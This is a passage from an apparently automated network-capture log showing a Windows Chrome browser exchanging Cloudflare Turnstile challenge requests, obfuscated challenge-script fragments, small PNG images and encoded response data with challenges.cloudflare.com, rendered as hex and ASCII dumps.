547),fM={},fM[ix(1113)]=ix(2506),fM[ix(281)]=ix(684),fM[ix(2940)]=ix(2820),fM[ix(2469)]=ix(3011),fM[ix(2502)]=ix(2082),fM[ix(1121)]=ix(2645),fM[ix(274)]=ix(452),fM[ix(2155)]=ix(2062),fM[ix(1440)]=ix(1471),fM[ix(638)]=ix(2974),fM[ix(2324)]=ix(1559),fM[ix(2
2024-05-07 18:28:21 UTC	1369	IN	Data Raw: 30 29 5d 3d 69 78 28 32 30 30 34 29 2c 66 4e 5b 69 78 28 32 37 34 38 29 5d 3d 69 78 28 32 30 32 38 29 2c 66 4e 5b 69 78 28 35 35 34 29 5d 3d 69 78 28 35 37 34 29 2c 66 4e 5b 69 78 28 31 31 31 34 29 5d 3d 69 78 28 31 37 37 39 29 2c 66 4e 5b 69 78 28 32 37 31 39 29 5d 3d 69 78 28 32 37 32 31 29 2c 66 4e 5b 69 78 28 32 32 35 34 29 5d 3d 69 78 28 32 35 32 32 29 2c 66 4e 5b 69 78 28 33 39 32 29 5d 3d 69 78 28 39 32 34 29 2c 66 4e 5b 69 78 28 33 35 38 29 5d 3d 69 78 28 32 36 31 33 29 2c 66 4e 5b 69 78 28 32 35 39 33 29 5d 3d 69 78 28 35 36 34 29 2c 66 4e 5b 69 78 28 31 34 34 38 29 5d 3d 69 78 28 38 37 30 29 2c 66 4e 5b 69 78 28 32 38 30 33 29 5d 3d 69 78 28 31 35 32 32 29 2c 66 4e 5b 69 78 28 31 37 39 35 29 5d 3d 69 78 28 32 37 30 34 29 2c 66 4e 5b 69 78 28 32 Data Ascii: 0)]=ix(2004),fN[ix(2748)]=ix(2028),fN[ix(554)]=ix(574),fN[ix(1114)]=ix(1779),fN[ix(2719)]=ix(2721),fN[ix(2254)]=ix(2522),fN[ix(392)]=ix(924),fN[ix(358)]=ix(2613),fN[ix(2593)]=ix(564),fN[ix(1448)]=ix(870),fN[ix(2803)]=ix(1522),fN[ix(1795)]=ix(2704),fN[ix(2
2024-05-07 18:28:21 UTC	1369	IN	Data Raw: 31 29 5d 3d 69 78 28 32 38 31 30 29 2c 66 50 5b 69 78 28 32 37 34 29 5d 3d 69 78 28 32 38 37 36 29 2c 66 50 5b 69 78 28 32 31 35 35 29 5d 3d 69 78 28 32 32 36 31 29 2c 66 50 5b 69 78 28 31 34 34 30 29 5d 3d 69 78 28 37 38 34 29 2c 66 50 5b 69 78 28 36 33 38 29 5d 3d 69 78 28 32 38 36 34 29 2c 66 50 5b 69 78 28 32 33 32 34 29 5d 3d 69 78 28 32 36 30 33 29 2c 66 50 5b 69 78 28 32 32 31 35 29 5d 3d 69 78 28 32 35 38 38 29 2c 66 50 5b 69 78 28 31 37 38 34 29 5d 3d 69 78 28 32 36 37 31 29 2c 66 50 5b 69 78 28 31 31 32 35 29 5d 3d 69 78 28 32 37 32 30 29 2c 66 50 5b 69 78 28 32 38 36 31 29 5d 3d 69 78 28 36 33 39 29 2c 66 50 5b 69 78 28 31 32 34 30 29 5d 3d 69 78 28 32 39 38 39 29 2c 66 50 5b 69 78 28 33 30 37 30 29 5d 3d 69 78 28 32 30 33 34 29 2c 66 50 5b 69 Data Ascii: 1)]=ix(2810),fP[ix(274)]=ix(2876),fP[ix(2155)]=ix(2261),fP[ix(1440)]=ix(784),fP[ix(638)]=ix(2864),fP[ix(2324)]=ix(2603),fP[ix(2215)]=ix(2588),fP[ix(1784)]=ix(2671),fP[ix(1125)]=ix(2720),fP[ix(2861)]=ix(639),fP[ix(1240)]=ix(2989),fP[ix(3070)]=ix(2034),fP[i
2024-05-07 18:28:21 UTC	1369	IN	Data Raw: 29 5d 3d 69 78 28 32 34 38 35 29 2c 66 51 5b 69 78 28 33 35 38 29 5d 3d 69 78 28 31 31 38 36 29 2c 66 51 5b 69 78 28 32 35 39 33 29 5d 3d 69 78 28 32 30 36 38 29 2c 66 51 5b 69 78 28 31 34 34 38 29 5d 3d 69 78 28 31 35 30 35 29 2c 66 51 5b 69 78 28 32 38 30 33 29 5d 3d 69 78 28 31 32 38 39 29 2c 66 51 5b 69 78 28 31 37 39 35 29 5d 3d 69 78 28 34 37 30 29 2c 66 51 5b 69 78 28 32 39 37 39 29 5d 3d 69 78 28 36 30 31 29 2c 66 51 5b 69 78 28 32 34 31 35 29 5d 3d 69 78 28 32 38 30 38 29 2c 66 51 5b 69 78 28 32 30 39 35 29 5d 3d 69 78 28 37 32 33 29 2c 66 51 5b 69 78 28 31 38 36 38 29 5d 3d 69 78 28 38 34 30 29 2c 66 51 5b 69 78 28 32 37 31 33 29 5d 3d 69 78 28 35 38 30 29 2c 66 51 5b 69 78 28 39 38 35 29 5d 3d 69 78 28 37 30 36 29 2c 66 52 3d 7b 7d 2c 66 52 5b Data Ascii: )]=ix(2485),fQ[ix(358)]=ix(1186),fQ[ix(2593)]=ix(2068),fQ[ix(1448)]=ix(1505),fQ[ix(2803)]=ix(1289),fQ[ix(1795)]=ix(470),fQ[ix(2979)]=ix(601),fQ[ix(2415)]=ix(2808),fQ[ix(2095)]=ix(723),fQ[ix(1868)]=ix(840),fQ[ix(2713)]=ix(580),fQ[ix(985)]=ix(706),fR={},fR[
2024-05-07 18:28:21 UTC	661	IN	Data Raw: 3d 69 78 28 31 38 37 39 29 2c 66 53 5b 69 78 28 31 37 38 34 29 5d 3d 69 78 28 32 35 34 34 29 2c 66 53 5b 69 78 28 31 31 32 35 29 5d 3d 69 78 28 32 35 32 39 29 2c 66 53 5b 69 78 28 32 38 36 31 29 5d 3d 69 78 28 31 31 32 38 29 2c 66 53 5b 69 78 28 31 32 34 30 29 5d 3d 69 78 28 31 34 31 35 29 2c 66 53 5b 69 78 28 33 30 37 30 29 5d 3d 69 78 28 33 31 31 34 29 2c 66 53 5b 69 78 28 31 38 32 37 29 5d 3d 69 78 28 32 34 33 37 29 2c 66 53 5b 69 78 28 31 33 37 33 29 5d 3d 69 78 28 32 38 38 34 29 2c 66 53 5b 69 78 28 32 34 30 37 29 5d 3d 69 78 28 32 31 34 39 29 2c 66 53 5b 69 78 28 31 36 32 32 29 5d 3d 69 78 28 31 33 31 37 29 2c 66 53 5b 69 78 28 31 38 36 34 29 5d 3d 69 78 28 31 32 30 38 29 2c 66 53 5b 69 78 28 31 35 37 30 29 5d 3d 69 78 28 32 31 35 39 29 2c 66 53 5b Data Ascii: =ix(1879),fS[ix(1784)]=ix(2544),fS[ix(1125)]=ix(2529),fS[ix(2861)]=ix(1128),fS[ix(1240)]=ix(1415),fS[ix(3070)]=ix(3114),fS[ix(1827)]=ix(2437),fS[ix(1373)]=ix(2884),fS[ix(2407)]=ix(2149),fS[ix(1622)]=ix(1317),fS[ix(1864)]=ix(1208),fS[ix(1570)]=ix(2159),fS[
2024-05-07 18:28:21 UTC	1369	IN	Data Raw: 31 62 63 38 0d 0a 33 39 33 29 2c 66 54 5b 69 78 28 32 39 34 30 29 5d 3d 69 78 28 31 37 31 37 29 2c 66 54 5b 69 78 28 32 34 36 39 29 5d 3d 69 78 28 31 39 38 31 29 2c 66 54 5b 69 78 28 32 35 30 32 29 5d 3d 69 78 28 35 39 33 29 2c 66 54 5b 69 78 28 31 31 32 31 29 5d 3d 69 78 28 32 38 33 29 2c 66 54 5b 69 78 28 32 37 34 29 5d 3d 69 78 28 32 32 37 37 29 2c 66 54 5b 69 78 28 32 31 35 35 29 5d 3d 69 78 28 32 31 31 36 29 2c 66 54 5b 69 78 28 31 34 34 30 29 5d 3d 69 78 28 33 30 32 33 29 2c 66 54 5b 69 78 28 36 33 38 29 5d 3d 69 78 28 38 37 32 29 2c 66 54 5b 69 78 28 32 33 32 34 29 5d 3d 69 78 28 31 34 35 33 29 2c 66 54 5b 69 78 28 32 32 31 35 29 5d 3d 69 78 28 32 30 30 37 29 2c 66 54 5b 69 78 28 31 37 38 34 29 5d 3d 69 78 28 32 37 39 30 29 2c 66 54 5b 69 78 28 31 Data Ascii: 1bc8 393),fT[ix(2940)]=ix(1717),fT[ix(2469)]=ix(1981),fT[ix(2502)]=ix(593),fT[ix(1121)]=ix(283),fT[ix(274)]=ix(2277),fT[ix(2155)]=ix(2116),fT[ix(1440)]=ix(3023),fT[ix(638)]=ix(872),fT[ix(2324)]=ix(1453),fT[ix(2215)]=ix(2007),fT[ix(1784)]=ix(2790),fT[ix(1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49750	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:20 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:21 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:21 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 880344ef8a114276-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:21 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNG IHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49751	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:21 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:21 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:21 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 880344f2de7cc411-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:21 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNG IHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49753	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:22 UTC	915	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2921 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8e6ada03ae78a62 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:22 UTC	2921	OUT	Data Raw: 76 5f 38 38 30 33 34 34 65 63 33 66 62 66 34 31 64 38 3d 25 32 62 51 33 31 76 7a 57 6f 6a 6f 54 68 33 6a 51 6c 38 39 2d 59 2d 78 2d 52 31 6c 41 2d 51 35 24 39 54 78 35 2d 38 65 35 31 49 58 54 46 2d 46 41 57 75 75 51 32 54 59 2d 45 31 2d 4c 64 6c 2d 6d 42 2d 33 59 79 54 56 2d 49 34 61 32 2d 4f 7a 56 4c 2d 55 32 42 51 2d 59 4b 54 77 73 34 66 2d 4f 6c 54 30 2d 4b 41 6a 30 5a 49 30 38 41 54 63 2d 38 4c 2d 77 2d 55 48 30 35 2d 4b 31 58 2d 37 2d 35 41 45 42 78 24 56 45 6f 41 49 46 71 31 57 6b 33 2d 6a 68 2d 38 30 58 35 4b 41 32 2d 46 7a 76 4c 62 33 6b 78 2b 32 6d 64 35 6b 41 2d 69 42 79 62 4b 49 24 32 31 2d 58 55 2d 57 24 66 2d 2d 34 35 58 2d 2d 63 66 35 6c 6d 2d 2d 32 2d 48 6c 34 32 2d 54 35 65 61 62 6a 63 69 76 35 2d 46 6c 54 6e 2d 2d 4a 6d 2d 6a 6e 6f 75 63 Data Ascii: v_880344ec3fbf41d8=%2bQ31vzWojoTh3jQl89-Y-x-R1lA-Q5$9Tx5-8e51IXTF-FAWuuQ2TY-E1-Ldl-mB-3YyTV-I4a2-OzVL-U2BQ-YKTws4f-OlT0-KAj0ZI08ATc-8L-w-UH05-K1X-7-5AEBx$VEoAIFq1Wk3-jh-80X5KA2-FzvLb3kx+2md5kA-iBybKI$21-XU-W$f--45X--cf5lm--2-Hl42-T5eabjciv5-FlTn--Jm-jnouc
2024-05-07 18:28:22 UTC	778	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:22 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: WNKN2Q97mVAXnng05pmcMugF2YFm+Eh3rXdeyVXvPRY0F3WGYSMLRYLpxD5ysHVdeZ4nqJ7rNZ9iFi6tiG5DMuZUMWS6/CXWndq9heZ+llsp3AVH3oEIfUgoV3QzIwi5y+KZ6rF4HCYlfSk2yEKFijolornPFmj5bqHQsRl4Tn9fOva+gc7Rj+XWPxz4Dgw5HwaFjIMQp5bqaYng6gMYyq6l3wsCWvaF0VOJVqSe0JsWB4bad3qLbzAb1DZjvuPhHki0GxrF+1uaLw3iywH8rXuZQ0EB+hFXZ3xQrGgnuu2z3Chg6DVyp/dvIzQVcYSdJ64ymi/SqsxbMhP0hOfF6aF8e7+vYcMYVP2glovh/E01+uWLqOUUaiWUq6lYbQA1z0xLTUPWg5XpM/LJYX8+bEZz9+KQYmfVqejgtw0pkwbRYgDvQ/KsVay9+MyOF73lFL+u0MMOLLLvFUdxg41Zq+bV3SJ2sfAGQI2gBn+gZmw=$73GSL3SMN/p05nEriPVF1Q== vary: accept-encoding Server: cloudflare CF-RAY: 880344f61a847d0b-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:22 UTC	349	IN	Data Raw: 31 35 36 0d 0a 62 62 57 49 65 4b 64 33 6a 58 53 63 6b 62 68 34 6b 73 4f 30 6d 36 75 62 78 49 69 34 72 38 44 41 6f 73 4f 77 74 62 4b 6e 7a 61 4f 38 72 62 33 4b 72 73 2b 34 77 62 36 7a 74 74 48 53 33 37 33 56 75 74 76 41 7a 63 6e 50 30 71 6a 6f 78 4b 33 79 78 38 47 30 32 72 4f 7a 39 4c 58 72 7a 2b 7a 30 37 39 50 69 41 39 62 33 39 75 6e 69 41 2f 7a 46 2b 4d 73 42 79 51 44 7a 38 2b 59 45 35 75 59 47 36 67 77 48 2f 66 6b 43 45 53 51 51 33 65 48 64 42 77 4c 6b 43 4f 50 6a 4c 68 63 52 41 67 76 6b 41 77 37 77 48 2b 2f 76 41 79 6f 63 39 69 30 71 4c 41 37 35 4f 79 51 6a 42 43 51 32 52 68 56 49 43 6b 67 57 4f 78 34 70 4d 51 74 51 4b 77 30 53 51 46 45 57 45 54 6b 62 47 46 30 67 54 6c 4e 6b 49 32 4a 46 4a 78 70 57 59 31 31 68 58 47 41 38 4d 47 70 6a 62 6b 70 45 63 6b Data Ascii: 156 bbWIeKd3jXSckbh4ksO0m6ubxIi4r8DAosOwtbKnzaO8rb3Krs+4wb6zttHS373VutvAzcnP0qjoxK3yx8G02rOz9LXrz+z079PiA9b39uniA/zF+MsByQDz8+YE5uYG6gwH/fkCESQQ3eHdBwLkCOPjLhcRAgvkAw7wH+/vAyoc9i0qLA75OyQjBCQ2RhVICkgWOx4pMQtQKw0SQFEWETkbGF0gTlNkI2JFJxpWY11hXGA8MGpjbkpEck
2024-05-07 18:28:22 UTC	1369	IN	Data Raw: 65 32 61 0d 0a 65 6e 75 70 4b 72 71 37 61 57 72 36 2b 32 6d 72 4f 7a 74 63 47 4c 6a 61 62 4c 76 59 6d 2f 73 6f 37 55 6e 72 2b 56 78 71 71 32 6a 74 75 71 74 4a 2f 50 6d 63 47 57 35 4e 54 49 73 39 7a 4a 74 4b 76 43 77 73 33 4a 77 74 7a 48 36 65 33 71 73 76 66 50 78 39 6a 36 76 4c 33 76 74 2f 53 39 74 66 4c 2b 77 65 6a 41 77 41 66 30 2b 39 37 2b 37 74 33 37 35 4f 4c 71 46 66 62 4a 44 42 6a 6b 44 68 49 47 39 4e 77 63 33 2b 7a 67 48 75 49 67 39 79 41 72 4a 4f 48 30 37 51 73 73 48 69 55 66 35 65 6f 69 39 43 2f 79 45 76 6a 31 2f 42 55 77 4f 2f 34 2b 47 53 46 44 50 44 45 32 51 6b 59 2f 52 6b 30 58 44 51 49 4a 43 55 5a 51 51 42 41 77 45 30 49 34 47 43 78 5a 58 31 67 57 4b 53 45 37 59 46 4d 7a 56 44 64 65 57 57 42 4c 52 30 31 4d 62 46 77 73 50 46 39 68 54 31 5a 4b Data Ascii: e2a enupKrq7aWr6+2mrOztcGLjabLvYm/so7Unr+Vxqq2jtuqtJ/PmcGW5NTIs9zJtKvCws3JwtzH6e3qsvfPx9j6vL3vt/S9tfL+wejAwAf0+97+7t375OLqFfbJDBjkDhIG9Nwc3+zgHuIg9yArJOH07QssHiUf5eoi9C/yEvj1/BUwO/4+GSFDPDE2QkY/Rk0XDQIJCUZQQBAwE0I4GCxZX1gWKSE7YFMzVDdeWWBLR01MbFwsPF9hT1ZK
2024-05-07 18:28:22 UTC	1369	IN	Data Raw: 71 54 74 34 75 69 78 49 57 41 76 34 4f 31 68 71 6a 4b 75 72 75 71 6e 63 50 43 73 70 36 52 6a 38 2f 4f 77 5a 61 34 32 5a 79 64 30 38 36 73 74 64 4c 66 34 4c 44 6f 71 4e 7a 59 34 4f 6a 6a 76 4c 72 4e 7a 63 2b 38 34 4d 48 65 31 63 2b 31 35 37 76 78 39 64 57 34 2f 4f 72 55 76 66 33 75 35 41 54 2b 79 50 6f 49 34 67 7a 57 32 42 44 6d 38 66 48 6e 44 51 77 4e 47 51 72 36 32 64 6b 4f 2f 74 7a 64 45 67 50 66 34 52 59 48 34 75 55 61 43 2b 54 70 48 67 2f 6e 37 53 49 54 4e 66 45 6d 46 7a 6a 31 4b 68 73 37 2b 53 34 66 50 76 30 79 49 30 45 43 4e 69 64 45 42 6a 6f 72 52 78 30 62 52 6a 34 66 53 6a 74 4f 50 6b 4d 31 57 44 70 57 52 6c 52 65 50 42 68 52 58 45 49 2b 4e 31 42 51 50 47 4e 64 50 6c 68 71 53 6d 41 35 54 7a 74 63 54 6c 42 75 62 32 4e 6c 4e 55 35 72 65 30 31 56 4e Data Ascii: qTt4uixIWAv4O1hqjKuruqncPCsp6Rj8/OwZa42Zyd086stdLf4LDoqNzY4OjjvLrNzc+84MHe1c+157vx9dW4/OrUvf3u5AT+yPoI4gzW2BDm8fHnDQwNGQr62dkO/tzdEgPf4RYH4uUaC+TpHg/n7SITNfEmFzj1Khs7+S4fPv0yI0ECNidEBjorRx0bRj4fSjtOPkM1WDpWRlRePBhRXEI+N1BQPGNdPlhqSmA5TztcTlBub2NlNU5re01VN
2024-05-07 18:28:22 UTC	895	IN	Data Raw: 6a 6b 4c 4b 57 6f 4b 6d 6b 6e 72 69 67 69 59 32 45 6b 74 58 51 77 38 53 31 77 37 47 79 71 39 6d 78 6d 4c 4b 75 79 74 79 74 34 39 6a 6f 34 37 36 6f 6e 61 53 6b 34 74 6a 50 71 2f 4c 4a 35 2f 53 31 31 50 62 6a 75 65 6e 4a 38 50 4c 65 79 4e 4b 37 41 50 72 44 37 73 51 45 78 39 7a 32 42 67 6a 2b 78 75 62 71 45 64 2f 64 38 67 58 6d 45 2b 72 37 34 78 41 63 46 39 6f 63 33 74 38 56 47 2b 4d 58 47 65 49 6e 35 69 45 70 42 43 30 66 48 53 72 76 46 52 4c 7a 39 43 50 71 41 78 72 32 39 78 54 38 4d 51 34 5a 46 6a 59 44 4e 44 63 46 48 6b 6c 4a 47 43 42 44 43 79 39 50 42 43 34 4c 45 41 78 51 52 78 4e 44 4b 6c 67 59 45 44 59 62 48 42 70 43 4c 53 51 37 4f 31 4d 7a 57 43 74 72 54 45 59 37 52 31 4a 4c 4c 57 68 78 5a 47 42 57 56 31 74 6c 54 6e 6c 33 61 33 74 36 65 6e 68 6b 66 6b Data Ascii: jkLKWoKmknrigiY2EktXQw8S1w7Gyq9mxmLKuytyt49jo476onaSk4tjPq/LJ5/S11PbjuenJ8PLeyNK7APrD7sQEx9z2Bgj+xubqEd/d8gXmE+r74xAcF9oc3t8VG+MXGeIn5iEpBC0fHSrvFRLz9CPqAxr29xT8MQ4ZFjYDNDcFHklJGCBDCy9PBC4LEAxQRxNDKlgYEDYbHBpCLSQ7O1MzWCtrTEY7R1JLLWhxZGBWV1tlTnl3a3t6enhkfk
2024-05-07 18:28:22 UTC	261	IN	Data Raw: 66 66 0d 0a 57 69 56 61 58 6d 64 47 4b 6a 5a 58 4b 43 64 45 50 55 64 4a 4d 79 31 32 54 45 59 7a 56 6a 70 47 58 44 39 2f 57 44 34 32 58 45 46 43 52 47 68 71 65 6f 74 4a 65 56 64 78 55 46 39 52 6b 45 65 53 6c 6b 71 61 61 70 79 61 64 6c 69 4a 62 47 46 75 6d 6f 47 54 64 61 46 35 69 6e 4b 65 71 71 4b 4b 71 32 32 48 6e 32 75 4b 68 70 4f 31 73 6e 69 6d 69 4b 31 36 6e 59 6d 72 6e 34 47 35 76 6e 65 47 67 72 4f 45 6b 6f 4f 44 68 59 6d 76 72 70 36 4e 73 34 79 4e 77 73 4b 53 30 4d 79 36 75 39 53 56 74 4e 57 36 6e 63 36 63 6e 61 50 53 6f 4b 58 71 79 73 76 6b 71 64 71 72 34 65 66 4a 38 62 54 42 72 39 4c 5a 39 75 71 33 78 73 37 79 79 65 44 4c 74 66 37 6c 35 4f 58 6b 35 63 62 33 34 73 51 4b 37 75 6b 41 43 42 44 31 42 75 49 48 35 77 55 5a 39 74 50 33 45 76 63 50 44 69 45 Data Ascii: ff WiVaXmdGKjZXKCdEPUdJMy12TEYzVjpGXD9/WD42XEFCRGhqeotJeVdxUF9RkEeSlkqaapyadliJbGFumoGTdaF5inKeqqKKq22Hn2uKhpO1snimiK16nYmrn4G5vneGgrOEkoODhYmvrp6Ns4yNwsKS0My6u9SVtNW6nc6cnaPSoKXqysvkqdqr4efJ8bTBr9LZ9uq3xs7yyeDLtf7l5OXk5cb34sQK7ukACBD1BuIH5wUZ9tP3EvcPDiE
2024-05-07 18:28:22 UTC	683	IN	Data Raw: 32 61 34 0d 0a 47 33 52 45 45 4a 79 45 57 35 75 73 72 4b 65 37 74 4b 53 7a 73 41 67 37 77 2b 53 33 30 39 7a 49 31 2b 7a 6f 30 50 7a 49 54 51 54 52 49 4e 7a 70 4d 49 6b 6f 4e 47 55 38 6d 4c 6b 39 49 50 30 63 70 4b 55 70 44 55 79 31 4f 50 56 63 78 55 6a 6c 62 4e 56 59 35 58 7a 6c 61 4f 57 4d 39 58 6a 6c 6e 51 57 45 6f 61 30 56 6c 4e 47 39 4a 61 54 46 70 57 6e 46 47 5a 33 64 35 67 58 35 45 62 6c 64 37 52 45 52 49 68 6d 64 6c 5a 45 64 2f 5a 59 31 4c 6b 6c 43 52 54 35 61 50 6c 56 4f 61 66 5a 6c 58 6e 6d 74 62 62 48 64 68 65 34 56 2f 59 49 5a 6b 69 5a 65 46 68 6e 2b 4b 61 58 31 2f 62 6f 47 56 6a 37 43 6b 6a 62 53 6d 66 4a 6c 33 76 4b 43 36 67 61 61 44 6c 37 71 65 69 72 50 48 77 62 61 74 79 4d 2b 38 6d 37 48 45 72 35 2b 74 71 4d 32 6e 78 35 65 70 72 4b 6d 78 6e Data Ascii: 2a4 G3REEJyEW5usrKe7tKSzsAg7w+S309zI1+zo0PzITQTRINzpMIkoNGU8mLk9IP0cpKUpDUy1OPVcxUjlbNVY5XzlaOWM9XjlnQWEoa0VlNG9JaTFpWnFGZ3d5gX5Ebld7RERIhmdlZEd/ZY1LklCRT5aPlVOafZlXnmtbbHdhe4V/YIZkiZeFhn+KaX1/boGVj7CkjbSmfJl3vKC6gaaDl7qeirPHwbatyM+8m7HEr5+tqM2nx5eprKmxn
2024-05-07 18:28:22 UTC	599	IN	Data Raw: 32 35 30 0d 0a 6a 49 4f 55 51 2b 42 33 6c 36 4e 30 4b 4b 51 30 72 36 44 45 44 4c 2b 77 30 38 54 50 77 4f 44 45 33 39 44 77 66 4f 2f 68 41 45 7a 2f 38 51 77 4a 44 41 55 63 37 42 68 63 69 47 69 30 76 4d 43 38 77 44 52 42 55 45 6a 67 30 46 42 68 4b 53 46 51 38 54 52 68 58 54 6c 45 63 4a 31 4d 38 53 55 70 66 4b 6b 38 34 54 31 46 68 63 69 5a 7a 59 48 52 7a 59 31 49 33 5a 48 6c 4b 58 46 46 73 4f 33 74 5a 68 6e 4a 2f 58 59 70 39 67 30 64 63 52 48 31 4e 62 57 39 71 67 5a 42 75 56 33 47 4d 63 6e 70 6c 65 4a 4e 33 63 48 69 4d 67 46 74 75 63 56 39 66 6c 47 61 6b 69 48 75 71 61 61 4b 65 68 49 5a 2f 62 58 4f 4f 6b 6e 65 79 69 58 56 38 63 4c 39 38 64 33 71 43 73 48 65 69 75 71 47 36 6f 34 61 69 6d 38 76 4f 76 4b 4b 6e 72 59 2b 50 71 71 43 50 6c 5a 4c 46 72 37 4b 74 76 Data Ascii: 250 jIOUQ+B3l6N0KKQ0r6DEDL+w08TPwODE39DwfO/hAEz/8QwJDAUc7BhciGi0vMC8wDRBUEjg0FBhKSFQ8TRhXTlEcJ1M8SUpfKk84T1FhciZzYHRzY1I3ZHlKXFFsO3tZhnJ/XYp9g0dcRH1NbW9qgZBuV3GMcnpleJN3cHiMgFtucV9flGakiHuqaaKehIZ/bXOOkneyiXV8cL98d3qCsHeiuqG6o4aim8vOvKKnrY+PqqCPlZLFr7Ktv
2024-05-07 18:28:22 UTC	258	IN	Data Raw: 66 63 0d 0a 43 6e 61 47 2b 6e 64 48 41 78 4c 62 6e 78 36 6a 4f 74 73 6a 4c 30 73 2f 78 37 72 54 69 78 74 44 46 30 64 72 6e 33 62 44 79 2f 67 50 68 41 76 36 37 32 63 4c 5a 78 74 6e 38 7a 4d 33 32 43 77 58 76 38 41 77 54 41 4f 48 50 38 2f 51 48 30 52 76 38 31 2b 77 4c 38 50 6e 79 2f 51 62 63 47 79 63 69 49 69 6b 6f 41 51 6e 6e 47 53 63 71 49 41 73 30 4a 69 54 31 39 68 7a 33 2b 7a 51 7a 46 50 49 34 4e 78 68 42 50 44 73 63 4e 55 41 2f 49 43 4e 45 51 79 4d 44 53 45 63 6e 55 55 78 4c 4b 7a 4d 6a 51 7a 77 6d 56 6c 4e 5a 4c 78 77 62 58 6c 6c 50 58 46 30 6c 53 43 4e 55 4a 30 30 37 59 43 74 52 50 6d 51 76 56 55 46 6f 4d 31 6c 45 62 44 64 64 52 31 4e 68 54 6f 42 32 50 57 59 39 59 57 52 72 61 49 70 4d 54 58 70 66 61 57 4a 71 64 47 70 32 53 59 75 58 6b 33 57 53 6d 48 Data Ascii: fc CnaG+ndHAxLbnx6jOtsjL0s/x7rTixtDF0drn3bDy/gPhAv672cLZxtn8zM32CwXv8AwTAOHP8/QH0Rv81+wL8Pny/QbcGyciIikoAQnnGScqIAs0JiT19hz3+zQzFPI4NxhBPDscNUA/ICNEQyMDSEcnUUxLKzMjQzwmVlNZLxwbXllPXF0lSCNUJ007YCtRPmQvVUFoM1lEbDddR1NhToB2PWY9YWRraIpMTXpfaWJqdGp2SYuXk3WSmH
